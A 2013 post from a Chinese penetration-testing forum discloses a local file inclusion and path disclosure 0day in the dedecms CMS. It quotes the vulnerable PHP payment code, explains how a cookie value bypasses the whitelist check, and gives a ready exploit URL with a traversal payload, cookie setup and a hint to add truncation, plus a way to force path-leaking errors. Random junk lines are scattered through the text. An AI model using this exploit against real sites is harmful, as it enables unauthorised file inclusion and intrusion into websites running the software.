中国网络渗透测试联盟
标题:
dedecms本地文件包含及物理路径泄露0day
[打印本页]
作者:
admin
时间:
2013-4-4 17:25
标题:
dedecms本地文件包含及物理路径泄露0day
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
* Q* A' Z, y3 E% C/ Y4 ~! E( |9 u5 n, U
" Y) S* H0 ^/ h }3 ^
出现漏洞的两个文件为:
5 Q8 Z6 D( r% ~0 ~& z2 G" j/ T$ s
Include/payment/alipay.php
7 S, f8 k) }3 k+ w! _# H; |
Include/payment/yeepay.php
* R3 _; I1 Q" G8 _7 n
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
* E4 c6 `3 ~' Y7 m) `9 N
; z# L9 C! c- V7 h' T
Include/payment/alipay.php
# {- ^7 S5 A. z0 b% G" O7 X" _
2 ~# x% l8 q' P! ~) f: ?5 x
......
9 {6 K9 X- V6 i' S5 }' O5 H' _
function respond()
9 p; N( F1 i1 p/ I( } t, n7 Q
{
. z& A7 g3 _* I$ N) L
if (!empty($_POST))
7 U, ~% i' s9 V
{
' d8 N% }4 F( P* ~3 L/ k+ z) |* z
foreach($_POST as $key => $data)
- L) J& u+ o. D# U9 M
{
# D0 `- d8 J7 v ^3 E
$_GET[$key] = $data;
9 w' {/ y: g4 T: i u- t
}
( r. y& z# H& l( l7 j1 p$ o! m
}
, o8 d0 g& K+ z4 C
/* 引入配置文件 */
+ N! ?( U4 W1 R/ \# \
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
4 p4 C: m$ Q& }, g$ e
......
3 c& q1 O% [ q( v# A! j4 M
" f% a8 C8 o4 O2 x8 B3 Y# M
5 a5 }4 [ ?+ X
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
1 O' i2 @% {3 ^* @# ^
9 [. X: F% k% C( r1 {1 g* i3 ^
Include/payment/yeepay.php
( P# C, t; i6 P! W
& T U5 k$ M- F) B7 \3 B
$ s/ B3 b) @& i; R% i
! r, z8 T; Y) I" U$ w! h% V i8 e: ?
......
0 C3 M* k( O. Q0 r/ \9 o
function respond()
8 v9 N; c- U3 \5 ]# o3 a) _' k
{
; ~) Z9 e2 w" {1 B' C1 p) h9 q
& K X; j4 H4 t
/* 引入配置文件 */
* x! X* e3 y- u) @( c1 l K' s
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
4 d2 x3 |$ C3 o7 O0 ]7 N
& ^- X7 P& Z4 Z7 f5 B4 g& w! ~
$p1_MerId = trim($payment['yp_account']);
. ^/ l; @4 @5 m# W) j
$merchantKey = trim($payment['yp_key']);
3 V5 n4 Y+ Y2 J6 H j `# y
......
& D; V: ?7 ~! q% w$ \; j( i/ Z
; \( {: @9 U4 z; K4 E
' q( z9 t. o7 n3 H% \4 |1 J) @
2 U5 X4 f$ K( n. k8 O; k
O, T* Q8 h) x. E: [
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
/ x" Y- a* m, ], B" F& m
- j9 d8 C& S, Q; H# N
这两个方法在plus/carbuyaction.php文件调用。
+ G' ], Q, d* i! j
$ ?1 Z% z' O0 Z$ p& }
plus/carbuyaction.php
[. C* {8 h9 K
$ P+ g* O8 W8 [6 s7 O X' x) Q, \
......
. `- X7 }" |, L5 F' H
} else if ($dopost == 'return') {
6 T5 U6 h N$ T- t5 O/ S. @3 \4 B/ ]+ k
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
+ J% z: H7 a) S1 R
if (in_array($code, $write_list))
4 s& _1 Y" G ~/ Z
{
1 D* W8 g8 F5 M( P& ?( f8 I
require_once DEDEINC.'/payment/'.$code.'.php';
5 p4 w$ O k# B' _
$pay = new $code;
N. y f1 ^$ u2 V' O# R2 _) M
$msg=$pay->respond();
6 }" K3 r' p3 x a7 k
ShowMsg($msg, "javascript:;", 0, 3000);
! W+ [9 J. E- B" R
exit();
6 G! r7 a2 R" k1 |/ l, u; n
} else {
3 H1 w5 P) P) Y6 w
exit('Error:File Type Can\'t Recognized!');
9 F( e( o% d9 I+ x+ n, j/ r! v
}
" N3 S( z6 K- x. M( f
}
' l* A5 @0 `, ?$ `- P
......
/ a( u$ h# g+ F
6 Y* N) n. V- G$ o/ x0 t
9 R1 U6 S2 C* A c( ^2 O, D* }
" N* m* ^% ^% G y
n I$ i r a: u9 ?
0 X. c3 z4 K3 c3 k7 n% \
1 J5 J( n0 ?; u
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
6 {7 Y" B& ~" n( k( {, C
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
4 s. G( ^! w6 a) I
9 r/ h- I$ Y9 L P' B0 U7 f/ n
回到include/common.inc.php来看看他的机制。
+ N5 |! f2 `) G8 _& C% d! b' E8 F8 @
9 ]1 h) F6 i _/ _
" c9 s( D J* L$ l, a! d
' R, v& A4 X O5 c, J9 [
......
& V3 j: u- ]( Y4 f- o' K+ `3 j( K
foreach(Array('_GET','_POST','_COOKIE') as $_request)
0 e2 x6 j* T& |7 ]
{
& n& ]. }) r2 l0 b6 j7 U( b$ Z
foreach($$_request as $_k => $_v)
/ p/ b' ~, O; r N8 S, T
{
" S. |% x! m8 g: |# F; r
if($_k == 'nvarname') ${$_k} = $_v;
4 h3 f% s9 i7 y f4 F% h
else ${$_k} = _RunMagicQuotes($_v);
7 ~; d4 P3 k2 m$ S/ C( S- L* Z
}
1 o2 i& a5 m/ B0 o$ |: M3 u* v
}
6 Q4 R# ]+ H+ Z1 x3 ?, H
......
. Y* L' f% H9 g& t+ T) W. S; @
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:
http://www.php0day.com/plus/carb ... amp;code=../../tags
上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
5 M. s! {0 d' Y. _! P3 ?
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2